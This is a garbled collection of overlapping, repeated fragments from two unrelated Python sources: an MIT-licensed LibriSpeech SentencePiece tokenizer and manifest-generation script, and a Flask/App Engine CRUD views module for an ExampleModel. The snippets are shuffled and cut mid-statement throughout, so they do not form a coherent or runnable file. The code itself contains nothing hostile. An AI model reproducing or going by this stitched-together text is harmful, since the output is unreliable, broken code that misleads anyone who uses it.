f\"--user_defined_symbols=<blank>\") def generate_manifest_files(dataset_path: str, manifest_file_path: str, vocab_path:", "\" f\"--pad_id=0 \" f\"--bos_id=1 \" f\"--eos_id=2 \" f\"--unk_id=3 \" f\"--user_defined_symbols=<blank>\") def generate_manifest_files(dataset_path: str,", "this software and associated documentation files (the \"Software\"), to deal # in the", "collect_transcripts SENTENCEPIECE_MODEL_NAME = \"sp\" def _prepare_tokenizer(train_transcripts, vocab_size): \"\"\" Prepare sentencepice tokenizer \"\"\" input_file", "MIT License # # Copyright (c) 2021 <NAME> and <NAME> and <NAME> #", "OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY,", "train_transcripts: f.write(f\"{transcript.split('|')[-1]}\\n\") spm.SentencePieceTrainer.Train(f\"--input={input_file} \" f\"--model_prefix={SENTENCEPIECE_MODEL_NAME} \" f\"--vocab_size={vocab_size} \" f\"--model_type={model_type} \" f\"--pad_id=0 \" f\"--bos_id=1", "granted, free of charge, to any person obtaining a copy # of this", "'dev-other', 'test-clean', 'test-other']): for transcript in transcripts_collection[idx]: audio_path, transcript = transcript.split('|') text =", "spm import shutil from typing import Tuple from openspeech.datasets.librispeech.preprocess.preprocess import collect_transcripts SENTENCEPIECE_MODEL_NAME =", "furnished to do so, subject to the following conditions: # # The above", "and this permission notice shall be included in all # copies or substantial", "modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and", "ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES", "# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,", "# Permission is hereby granted, free of charge, to any person obtaining a", "IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF", "from typing import Tuple from openspeech.datasets.librispeech.preprocess.preprocess import collect_transcripts SENTENCEPIECE_MODEL_NAME = \"sp\" def _prepare_tokenizer(train_transcripts,", "OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import os import", "publish, distribute, sublicense, and/or sell # copies of the Software, and to permit", "\"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT", "OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION", "without restriction, including without limitation the rights # to use, copy, modify, merge,", "'unigram' with open(input_file, 'w') as f: for transcript in train_transcripts: f.write(f\"{transcript.split('|')[-1]}\\n\") spm.SentencePieceTrainer.Train(f\"--input={input_file} \"", "Prepare sentencepice tokenizer \"\"\" input_file = 'spm_input.txt' model_type = 'unigram' with open(input_file, 'w')", "spm.SentencePieceTrainer.Train(f\"--input={input_file} \" f\"--model_prefix={SENTENCEPIECE_MODEL_NAME} \" f\"--vocab_size={vocab_size} \" f\"--model_type={model_type} \" f\"--pad_id=0 \" f\"--bos_id=1 \" f\"--eos_id=2", "in the Software without restriction, including without limitation the rights # to use,", "transcript in transcripts_collection[idx]: audio_path, transcript = transcript.split('|') text = \" \".join(sp.EncodeAsPieces(transcript)) label =", "os import sentencepiece as spm import shutil from typing import Tuple from openspeech.datasets.librispeech.preprocess.preprocess", "PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS", "\"sp\" def _prepare_tokenizer(train_transcripts, vocab_size): \"\"\" Prepare sentencepice tokenizer \"\"\" input_file = 'spm_input.txt' model_type", "copies of the Software, and to permit persons to whom the Software is", "<NAME> # # Permission is hereby granted, free of charge, to any person", "AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR", "f\"--user_defined_symbols=<blank>\") def generate_manifest_files(dataset_path: str, manifest_file_path: str, vocab_path: str, vocab_size: int) -> None: \"\"\"", "notice shall be included in all # copies or substantial portions of the", "obtaining a copy # of this software and associated documentation files (the \"Software\"),", "NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE", "MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL", "spm.SentencePieceProcessor() sp.Load(os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) with open(manifest_file_path, 'w') as f: for idx, part in enumerate(['train-960',", "shall be included in all # copies or substantial portions of the Software.", "The above copyright notice and this permission notice shall be included in all", "and/or sell # copies of the Software, and to permit persons to whom", "part in enumerate(['train-960', 'dev-clean', 'dev-other', 'test-clean', 'test-other']): for transcript in transcripts_collection[idx]: audio_path, transcript", "in transcripts_collection[idx]: audio_path, transcript = transcript.split('|') text = \" \".join(sp.EncodeAsPieces(transcript)) label = \"", "# in the Software without restriction, including without limitation the rights # to", "USE OR OTHER DEALINGS IN THE # SOFTWARE. import os import sentencepiece as", "typing import Tuple from openspeech.datasets.librispeech.preprocess.preprocess import collect_transcripts SENTENCEPIECE_MODEL_NAME = \"sp\" def _prepare_tokenizer(train_transcripts, vocab_size):", "f\"{SENTENCEPIECE_MODEL_NAME}.model\")) with open(manifest_file_path, 'w') as f: for idx, part in enumerate(['train-960', 'dev-clean', 'dev-other',", "TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE", "# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS", "'dev-clean', 'dev-other', 'test-clean', 'test-other']): for transcript in transcripts_collection[idx]: audio_path, transcript = transcript.split('|') text", "# SOFTWARE. import os import sentencepiece as spm import shutil from typing import", "os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.vocab\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.vocab\")) sp = spm.SentencePieceProcessor() sp.Load(os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) with open(manifest_file_path, 'w')", "None \"\"\" transcripts_collection = collect_transcripts(dataset_path) _prepare_tokenizer(transcripts_collection[0], vocab_size) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.model\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.vocab\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.vocab\"))", "f\"--model_type={model_type} \" f\"--pad_id=0 \" f\"--bos_id=1 \" f\"--eos_id=2 \" f\"--unk_id=3 \" f\"--user_defined_symbols=<blank>\") def generate_manifest_files(dataset_path:", "manifest_file_path: str, vocab_path: str, vocab_size: int) -> None: \"\"\" Generate manifest files. Format:", "any person obtaining a copy # of this software and associated documentation files", "# # The above copyright notice and this permission notice shall be included", "vocab_size (int): size of subword vocab Returns: None \"\"\" transcripts_collection = collect_transcripts(dataset_path) _prepare_tokenizer(transcripts_collection[0],", "\"Software\"), to deal # in the Software without restriction, including without limitation the", "shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.vocab\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.vocab\")) sp = spm.SentencePieceProcessor() sp.Load(os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) with open(manifest_file_path, 'w') as f:", "sentencepice tokenizer \"\"\" input_file = 'spm_input.txt' model_type = 'unigram' with open(input_file, 'w') as", "AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE", "IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED,", "a copy # of this software and associated documentation files (the \"Software\"), to", "deal # in the Software without restriction, including without limitation the rights #", "'w') as f: for transcript in train_transcripts: f.write(f\"{transcript.split('|')[-1]}\\n\") spm.SentencePieceTrainer.Train(f\"--input={input_file} \" f\"--model_prefix={SENTENCEPIECE_MODEL_NAME} \" f\"--vocab_size={vocab_size}", "open(input_file, 'w') as f: for transcript in train_transcripts: f.write(f\"{transcript.split('|')[-1]}\\n\") spm.SentencePieceTrainer.Train(f\"--input={input_file} \" f\"--model_prefix={SENTENCEPIECE_MODEL_NAME} \"", "transcript.split('|') text = \" \".join(sp.EncodeAsPieces(transcript)) label = \" \".join([str(item) for item in sp.EncodeAsIds(transcript)])", "as spm import shutil from typing import Tuple from openspeech.datasets.librispeech.preprocess.preprocess import collect_transcripts SENTENCEPIECE_MODEL_NAME", "AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER #", "(the \"Software\"), to deal # in the Software without restriction, including without limitation", "IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR", "distribute, sublicense, and/or sell # copies of the Software, and to permit persons", "f\"--model_prefix={SENTENCEPIECE_MODEL_NAME} \" f\"--vocab_size={vocab_size} \" f\"--model_type={model_type} \" f\"--pad_id=0 \" f\"--bos_id=1 \" f\"--eos_id=2 \" f\"--unk_id=3", "for transcript in train_transcripts: f.write(f\"{transcript.split('|')[-1]}\\n\") spm.SentencePieceTrainer.Train(f\"--input={input_file} \" f\"--model_prefix={SENTENCEPIECE_MODEL_NAME} \" f\"--vocab_size={vocab_size} \" f\"--model_type={model_type} \"", "charge, to any person obtaining a copy # of this software and associated", "= transcript.split('|') text = \" \".join(sp.EncodeAsPieces(transcript)) label = \" \".join([str(item) for item in", "WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO", "THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import os import sentencepiece", "WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO", "and <NAME> # # Permission is hereby granted, free of charge, to any", "WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED", "KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF", "in train_transcripts: f.write(f\"{transcript.split('|')[-1]}\\n\") spm.SentencePieceTrainer.Train(f\"--input={input_file} \" f\"--model_prefix={SENTENCEPIECE_MODEL_NAME} \" f\"--vocab_size={vocab_size} \" f\"--model_type={model_type} \" f\"--pad_id=0 \"", "to whom the Software is # furnished to do so, subject to the", "limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or", "COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER", "be included in all # copies or substantial portions of the Software. #", "with open(input_file, 'w') as f: for transcript in train_transcripts: f.write(f\"{transcript.split('|')[-1]}\\n\") spm.SentencePieceTrainer.Train(f\"--input={input_file} \" f\"--model_prefix={SENTENCEPIECE_MODEL_NAME}", "# Copyright (c) 2021 <NAME> and <NAME> and <NAME> # # Permission is", "copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED", "f: for idx, part in enumerate(['train-960', 'dev-clean', 'dev-other', 'test-clean', 'test-other']): for transcript in", "for idx, part in enumerate(['train-960', 'dev-clean', 'dev-other', 'test-clean', 'test-other']): for transcript in transcripts_collection[idx]:", "portions of the Software. # # THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT", "do so, subject to the following conditions: # # The above copyright notice", "Returns: None \"\"\" transcripts_collection = collect_transcripts(dataset_path) _prepare_tokenizer(transcripts_collection[0], vocab_size) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.model\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.vocab\", os.path.join(vocab_path,", "transcript in train_transcripts: f.write(f\"{transcript.split('|')[-1]}\\n\") spm.SentencePieceTrainer.Train(f\"--input={input_file} \" f\"--model_prefix={SENTENCEPIECE_MODEL_NAME} \" f\"--vocab_size={vocab_size} \" f\"--model_type={model_type} \" f\"--pad_id=0", "= spm.SentencePieceProcessor() sp.Load(os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) with open(manifest_file_path, 'w') as f: for idx, part in", "\"\"\" Prepare sentencepice tokenizer \"\"\" input_file = 'spm_input.txt' model_type = 'unigram' with open(input_file,", "THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR", "\" f\"--eos_id=2 \" f\"--unk_id=3 \" f\"--user_defined_symbols=<blank>\") def generate_manifest_files(dataset_path: str, manifest_file_path: str, vocab_path: str,", "permit persons to whom the Software is # furnished to do so, subject", "# # Copyright (c) 2021 <NAME> and <NAME> and <NAME> # # Permission", "Permission is hereby granted, free of charge, to any person obtaining a copy", "vocab_path: str, vocab_size: int) -> None: \"\"\" Generate manifest files. Format: {audio_path}\\t{transcript}\\t{numerical_label} Args:", "Tuple from openspeech.datasets.librispeech.preprocess.preprocess import collect_transcripts SENTENCEPIECE_MODEL_NAME = \"sp\" def _prepare_tokenizer(train_transcripts, vocab_size): \"\"\" Prepare", "THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR", "IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT", "EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,", "Software without restriction, including without limitation the rights # to use, copy, modify,", "# The above copyright notice and this permission notice shall be included in", "# of this software and associated documentation files (the \"Software\"), to deal #", "OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR", "above copyright notice and this permission notice shall be included in all #", "sell # copies of the Software, and to permit persons to whom the", "WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE.", "substantial portions of the Software. # # THE SOFTWARE IS PROVIDED \"AS IS\",", "int) -> None: \"\"\" Generate manifest files. Format: {audio_path}\\t{transcript}\\t{numerical_label} Args: vocab_size (int): size", "sentencepiece as spm import shutil from typing import Tuple from openspeech.datasets.librispeech.preprocess.preprocess import collect_transcripts", "input_file = 'spm_input.txt' model_type = 'unigram' with open(input_file, 'w') as f: for transcript", "\" f\"--bos_id=1 \" f\"--eos_id=2 \" f\"--unk_id=3 \" f\"--user_defined_symbols=<blank>\") def generate_manifest_files(dataset_path: str, manifest_file_path: str,", "import os import sentencepiece as spm import shutil from typing import Tuple from", "restriction, including without limitation the rights # to use, copy, modify, merge, publish,", "FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS", "sp.Load(os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) with open(manifest_file_path, 'w') as f: for idx, part in enumerate(['train-960', 'dev-clean',", "# # Permission is hereby granted, free of charge, to any person obtaining", "= collect_transcripts(dataset_path) _prepare_tokenizer(transcripts_collection[0], vocab_size) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.model\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.vocab\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.vocab\")) sp = spm.SentencePieceProcessor()", "BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR", "this permission notice shall be included in all # copies or substantial portions", "Generate manifest files. Format: {audio_path}\\t{transcript}\\t{numerical_label} Args: vocab_size (int): size of subword vocab Returns:", "FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE", "OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT", "# copies or substantial portions of the Software. # # THE SOFTWARE IS", "PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING", "<NAME> and <NAME> # # Permission is hereby granted, free of charge, to", "files (the \"Software\"), to deal # in the Software without restriction, including without", "Copyright (c) 2021 <NAME> and <NAME> and <NAME> # # Permission is hereby", "# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS", "sp = spm.SentencePieceProcessor() sp.Load(os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) with open(manifest_file_path, 'w') as f: for idx, part", "audio_path, transcript = transcript.split('|') text = \" \".join(sp.EncodeAsPieces(transcript)) label = \" \".join([str(item) for", "IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE", "the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell", "following conditions: # # The above copyright notice and this permission notice shall", "of the Software, and to permit persons to whom the Software is #", "import sentencepiece as spm import shutil from typing import Tuple from openspeech.datasets.librispeech.preprocess.preprocess import", "-> None: \"\"\" Generate manifest files. Format: {audio_path}\\t{transcript}\\t{numerical_label} Args: vocab_size (int): size of", "IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR", "str, vocab_path: str, vocab_size: int) -> None: \"\"\" Generate manifest files. Format: {audio_path}\\t{transcript}\\t{numerical_label}", "OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER", "HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN", "including without limitation the rights # to use, copy, modify, merge, publish, distribute,", "\" f\"--unk_id=3 \" f\"--user_defined_symbols=<blank>\") def generate_manifest_files(dataset_path: str, manifest_file_path: str, vocab_path: str, vocab_size: int)", "shutil from typing import Tuple from openspeech.datasets.librispeech.preprocess.preprocess import collect_transcripts SENTENCEPIECE_MODEL_NAME = \"sp\" def", "\" f\"--user_defined_symbols=<blank>\") def generate_manifest_files(dataset_path: str, manifest_file_path: str, vocab_path: str, vocab_size: int) -> None:", "copyright notice and this permission notice shall be included in all # copies", "f\"--unk_id=3 \" f\"--user_defined_symbols=<blank>\") def generate_manifest_files(dataset_path: str, manifest_file_path: str, vocab_path: str, vocab_size: int) ->", "# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER", "= \"sp\" def _prepare_tokenizer(train_transcripts, vocab_size): \"\"\" Prepare sentencepice tokenizer \"\"\" input_file = 'spm_input.txt'", "associated documentation files (the \"Software\"), to deal # in the Software without restriction,", "Args: vocab_size (int): size of subword vocab Returns: None \"\"\" transcripts_collection = collect_transcripts(dataset_path)", "\"\"\" Generate manifest files. Format: {audio_path}\\t{transcript}\\t{numerical_label} Args: vocab_size (int): size of subword vocab", "hereby granted, free of charge, to any person obtaining a copy # of", "of this software and associated documentation files (the \"Software\"), to deal # in", "OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS", "# # THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,", "shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.model\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) shutil.copy(f\"{SENTENCEPIECE_MODEL_NAME}.vocab\", os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.vocab\")) sp = spm.SentencePieceProcessor() sp.Load(os.path.join(vocab_path, f\"{SENTENCEPIECE_MODEL_NAME}.model\")) with open(manifest_file_path,", "vocab_size: int) -> None: \"\"\" Generate manifest files. Format: {audio_path}\\t{transcript}\\t{numerical_label} Args: vocab_size (int):", "SENTENCEPIECE_MODEL_NAME = \"sp\" def _prepare_tokenizer(train_transcripts, vocab_size): \"\"\" Prepare sentencepice tokenizer \"\"\" input_file =", "NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY", "import collect_transcripts SENTENCEPIECE_MODEL_NAME = \"sp\" def _prepare_tokenizer(train_transcripts, vocab_size): \"\"\" Prepare sentencepice tokenizer \"\"\"", "to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of", "the Software is # furnished to do so, subject to the following conditions:", "subject to the following conditions: # # The above copyright notice and this", "tokenizer \"\"\" input_file = 'spm_input.txt' model_type = 'unigram' with open(input_file, 'w') as f:" ]
[ "= ExampleModel.get_by_id( int(example_id) ) if example: try: example.key.delete() return jsonify(result = {'status':'ok'}) except", "form['example_description'] example.put() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'Error to", "dispatch_request(self): list = ExampleModel.query().fetch() list = to_dict(list) return jsonify(results = list) class PIni_delete(View):", "return jsonify(result = {'status':'no example_example send'}) else: return jsonify(result = {'status':'NOT is correct", "jsonify(result = {'status':'Error to save'}) else: return jsonify(result = {'status':'NOT item found'}) else:", "jsonify(result = {'status':'no example_example send'}) else: return jsonify(result = {'status':'NOT is correct method'})", "request.get_json() example_id = form['example_id'] if example_id: example = ExampleModel.get_by_id( int(example_id) ) if example:", "example.put() example_id = example.key.id() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result =", "= form['example_id'] if example_id: example = ExampleModel.get_by_id( int(example_id) ) if example: try: example.example_name", "try: example.example_name = form['example_name'] example.example_description = form['example_description'] example.put() return jsonify(result = {'status':'ok'}) except", "dispatch_request(self): if request.method == \"POST\": form = request.get_json() example = ExampleModel( example_name =", "{'status':'Error to update'}) else: return jsonify(result = {'status':'NOT item found'}) else: return jsonify(result", "= form['example_name'] example.example_description = form['example_description'] example.put() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return", "import ExampleModel from decorators import login_required from utils import to_dict class PIni(View): @login_required", "to_dict(list) return jsonify(results = list) class PIni_delete(View): @login_required def dispatch_request(self): if request.method ==", "utils import to_dict class PIni(View): @login_required def dispatch_request(self): examples = ExampleModel.query() return render_template('ini.html',", "jsonify, render_template, request import json from google.appengine.api import users from google.appengine.runtime.apiproxy_errors import CapabilityDisabledError", "json from google.appengine.api import users from google.appengine.runtime.apiproxy_errors import CapabilityDisabledError from forms import ExampleForm", "flash, redirect, url_for, jsonify, render_template, request import json from google.appengine.api import users from", "dispatch_request(self): examples = ExampleModel.query() return render_template('ini.html', examples=examples ) class PIni_list(View): #@login_required def dispatch_request(self):", "except CapabilityDisabledError: return jsonify(result = {'status':'Error to save'}) else: return jsonify(result = {'status':'NOT", "return jsonify(result = {'status':'Error to update'}) else: return jsonify(result = {'status':'NOT item found'})", "jsonify(results = list) class PIni_delete(View): @login_required def dispatch_request(self): if request.method == \"POST\": form", "-*- from flask.views import View from flask import flash, redirect, url_for, jsonify, render_template,", "jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'DONT cant save'}) else: return", "to update'}) else: return jsonify(result = {'status':'NOT item found'}) else: return jsonify(result =", "from google.appengine.api import users from google.appengine.runtime.apiproxy_errors import CapabilityDisabledError from forms import ExampleForm from", "from google.appengine.runtime.apiproxy_errors import CapabilityDisabledError from forms import ExampleForm from models import ExampleModel from", "= {'status':'Error to save'}) else: return jsonify(result = {'status':'NOT item found'}) else: return", "= {'status':'NOT item found'}) else: return jsonify(result = {'status':'no example_example send'}) else: return", "@login_required def dispatch_request(self): if request.method == \"POST\": form = request.get_json() example_id = form['example_id']", "list = to_dict(list) return jsonify(results = list) class PIni_delete(View): @login_required def dispatch_request(self): if", "class PIni_put(View): @login_required def dispatch_request(self): if request.method == \"POST\": form = request.get_json() example", "login_required from utils import to_dict class PIni(View): @login_required def dispatch_request(self): examples = ExampleModel.query()", "google.appengine.api import users from google.appengine.runtime.apiproxy_errors import CapabilityDisabledError from forms import ExampleForm from models", "dispatch_request(self): if request.method == \"POST\": form = request.get_json() example_id = form['example_id'] if example_id:", "= form['example_description'], added_by = users.get_current_user() ) try: example.put() example_id = example.key.id() return jsonify(result", "to_dict class PIni(View): @login_required def dispatch_request(self): examples = ExampleModel.query() return render_template('ini.html', examples=examples )", "example_id: example = ExampleModel.get_by_id( int(example_id) ) if example: try: example.example_name = form['example_name'] example.example_description", "@login_required def dispatch_request(self): if request.method == \"POST\": form = request.get_json() example = ExampleModel(", "{'status':'NOT item found'}) else: return jsonify(result = {'status':'no example_example send'}) else: return jsonify(result", "= ExampleModel.query().fetch() list = to_dict(list) return jsonify(results = list) class PIni_delete(View): @login_required def", "@login_required def dispatch_request(self): examples = ExampleModel.query() return render_template('ini.html', examples=examples ) class PIni_list(View): #@login_required", "added_by = users.get_current_user() ) try: example.put() example_id = example.key.id() return jsonify(result = {'status':'ok'})", "jsonify(result = {'status':'Error to update'}) else: return jsonify(result = {'status':'NOT item found'}) else:", "list = ExampleModel.query().fetch() list = to_dict(list) return jsonify(results = list) class PIni_delete(View): @login_required", "= form['example_name'], example_description = form['example_description'], added_by = users.get_current_user() ) try: example.put() example_id =", "jsonify(result = {'status':'DONT cant save'}) else: return jsonify(result = {'status':'NOT is correct method'})", "example = ExampleModel.get_by_id( int(example_id) ) if example: try: example.example_name = form['example_name'] example.example_description =", "coding: utf-8 -*- from flask.views import View from flask import flash, redirect, url_for,", "correct method'}) class PIni_put(View): @login_required def dispatch_request(self): if request.method == \"POST\": form =", "method'}) class PIni_update(View): @login_required def dispatch_request(self): if request.method == \"POST\": form = request.get_json()", "redirect, url_for, jsonify, render_template, request import json from google.appengine.api import users from google.appengine.runtime.apiproxy_errors", "form['example_description'], added_by = users.get_current_user() ) try: example.put() example_id = example.key.id() return jsonify(result =", "list) class PIni_delete(View): @login_required def dispatch_request(self): if request.method == \"POST\": form = request.get_json()", "forms import ExampleForm from models import ExampleModel from decorators import login_required from utils", "jsonify(result = {'status':'NOT is correct method'}) class PIni_update(View): @login_required def dispatch_request(self): if request.method", "= ExampleModel( example_name = form['example_name'], example_description = form['example_description'], added_by = users.get_current_user() ) try:", "examples = ExampleModel.query() return render_template('ini.html', examples=examples ) class PIni_list(View): #@login_required def dispatch_request(self): list", "PIni_list(View): #@login_required def dispatch_request(self): list = ExampleModel.query().fetch() list = to_dict(list) return jsonify(results =", "users.get_current_user() ) try: example.put() example_id = example.key.id() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError:", "return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'Error to save'}) else:", "form['example_name'] example.example_description = form['example_description'] example.put() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result", "except CapabilityDisabledError: return jsonify(result = {'status':'Error to update'}) else: return jsonify(result = {'status':'NOT", "method'}) class PIni_put(View): @login_required def dispatch_request(self): if request.method == \"POST\": form = request.get_json()", "utf-8 -*- from flask.views import View from flask import flash, redirect, url_for, jsonify,", "return jsonify(results = list) class PIni_delete(View): @login_required def dispatch_request(self): if request.method == \"POST\":", "else: return jsonify(result = {'status':'NOT item found'}) else: return jsonify(result = {'status':'no example_example", "example_description = form['example_description'], added_by = users.get_current_user() ) try: example.put() example_id = example.key.id() return", "def dispatch_request(self): list = ExampleModel.query().fetch() list = to_dict(list) return jsonify(results = list) class", "try: example.put() example_id = example.key.id() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result", "users from google.appengine.runtime.apiproxy_errors import CapabilityDisabledError from forms import ExampleForm from models import ExampleModel", "== \"POST\": form = request.get_json() example_id = form['example_id'] if example_id: example = ExampleModel.get_by_id(", "jsonify(result = {'status':'NOT is correct method'}) class PIni_put(View): @login_required def dispatch_request(self): if request.method", "example = ExampleModel( example_name = form['example_name'], example_description = form['example_description'], added_by = users.get_current_user() )", "= {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'Error to update'}) else: return jsonify(result", "import ExampleForm from models import ExampleModel from decorators import login_required from utils import", "PIni(View): @login_required def dispatch_request(self): examples = ExampleModel.query() return render_template('ini.html', examples=examples ) class PIni_list(View):", "if request.method == \"POST\": form = request.get_json() example = ExampleModel( example_name = form['example_name'],", "ExampleModel.get_by_id( int(example_id) ) if example: try: example.key.delete() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError:", "== \"POST\": form = request.get_json() example = ExampleModel( example_name = form['example_name'], example_description =", "class PIni_update(View): @login_required def dispatch_request(self): if request.method == \"POST\": form = request.get_json() example_id", "return jsonify(result = {'status':'NOT is correct method'}) class PIni_put(View): @login_required def dispatch_request(self): if", "from utils import to_dict class PIni(View): @login_required def dispatch_request(self): examples = ExampleModel.query() return", "form = request.get_json() example_id = form['example_id'] if example_id: example = ExampleModel.get_by_id( int(example_id) )", ") try: example.put() example_id = example.key.id() return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return", "example_name = form['example_name'], example_description = form['example_description'], added_by = users.get_current_user() ) try: example.put() example_id", "def dispatch_request(self): if request.method == \"POST\": form = request.get_json() example_id = form['example_id'] if", "render_template, request import json from google.appengine.api import users from google.appengine.runtime.apiproxy_errors import CapabilityDisabledError from", "class PIni_delete(View): @login_required def dispatch_request(self): if request.method == \"POST\": form = request.get_json() example_id", "import login_required from utils import to_dict class PIni(View): @login_required def dispatch_request(self): examples =", "from models import ExampleModel from decorators import login_required from utils import to_dict class", "= {'status':'no example_example send'}) else: return jsonify(result = {'status':'NOT is correct method'}) class", "else: return jsonify(result = {'status':'NOT is correct method'}) class PIni_update(View): @login_required def dispatch_request(self):", "{'status':'no example_example send'}) else: return jsonify(result = {'status':'NOT is correct method'}) class PIni_put(View):", "is correct method'}) class PIni_put(View): @login_required def dispatch_request(self): if request.method == \"POST\": form", "= {'status':'DONT cant save'}) else: return jsonify(result = {'status':'NOT is correct method'}) class", "int(example_id) ) if example: try: example.example_name = form['example_name'] example.example_description = form['example_description'] example.put() return", "return jsonify(result = {'status':'ok'}) except CapabilityDisabledError: return jsonify(result = {'status':'Error to update'}) else:", "= to_dict(list) return jsonify(results = list) class PIni_delete(View): @login_required def dispatch_request(self): if request.method", "jsonify(result = {'status':'ok'}) except 